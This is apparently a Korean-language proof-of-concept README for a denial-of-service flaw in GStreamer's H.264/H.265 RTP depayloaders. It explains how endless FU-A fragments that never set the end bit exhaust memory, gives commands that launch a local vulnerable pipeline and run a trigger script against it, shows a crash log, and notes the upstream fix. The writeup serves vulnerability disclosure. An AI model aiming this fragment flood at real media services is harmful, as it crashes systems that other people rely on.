
# CVE-2026-18649 개념 증명 GStreamer의 H.264 RTP 디페이로더(rtph264depay)에서 발생하는 원격 서비스 거부(DoS) 취약점에 대한 개념 증명(PoC)입니다.
GStreamer의 H.264 RTP 디페이라이로더(rtph264depay)에서 발생하는 리소스 고갈 취약점에 대한 개념 증명입니다. 동일한 패턴은 rtph265depay에도 영향을 줍니다.
H.264 FU-A 분할 RTP 재조립 과정에서 수신되는 각 프래그먼트는 크기 제한 없이 내부 GstAdapter 버퍼로 푸시됩니다. 어댑터는 FU 헤더의 조각 종료(E) 비트가 설정된 경우에만 버퍼를 비웁니다. 원격 공격자는 유효한 시작 프래그먼트 하나를 보낸 다음, E 비트를 절대 설정하지 않으면서 연속 프래그먼트를 무한정 전송합니다. 버퍼는 프로세스의 메모리가 고갈되어 크래시가 발생할 때까지 계속 증가합니다.
전체 분석: 0xsemizzz.vercel.app/projects/gstreamer-cve
업스트림 수정 이전의 gst-plugins-good. 1.28.2(Ubuntu 24.04)에서 확인됨.
파이프라인을 시작한 다음 PoC를 실행합니다:
gst-launch-1.0 udpsrc port=5036 buffer-size=4194304 \
caps="application/x-rtp,media=video,payload=96,clock-rate=90000,encoding-name=H264" \
! rtph264depay ! fakesink &
PID=$!
python3 trigger.py 5036 $PID
빠른 크래시를 원하면 메모리 제한을 추가합니다:
ulimit -v 262144 # 256MB, 프로세스는 약 12초 후 종료됨
gst-launch-1.0 udpsrc port=5036 buffer-size=4194304 \
caps="application/x-rtp,media=video,payload=96,clock-rate=90000,encoding-name=H264" \
! rtph264depay ! fakesink &
python3 trigger.py 5036 $!
[*] port=5036 1 fragment every 0.5ms (~2.8 MB/s)
[*] monitoring VmData (heap), not RSS
[*] target PID=12345 baseline VmData=26 MB
5000 frags ~ 7 MB sent | VmData=35MB (+8MB)
10000 frags ~ 13 MB sent | VmData=44MB (+17MB)
15000 frags ~ 20 MB sent | VmData=53MB (+26MB)
20000 frags ~ 27 MB sent | VmData=62MB (+35MB)
25000 frags ~ 33 MB sent | VmData=71MB (+44MB)
30000 frags ~ 40 MB sent | VmData=79MB (+53MB)
...
DEAD
rtph264depay 및 rtph265depay에 max-reassembly-size 속성이 추가되었습니다. 애플리케이션은 이를 합리적인 값(비디오의 경우 일반적으로 16MB)으로 설정해야 합니다. 기본값은 이전 버전과의 호환성을 위해 0(무제한)입니다.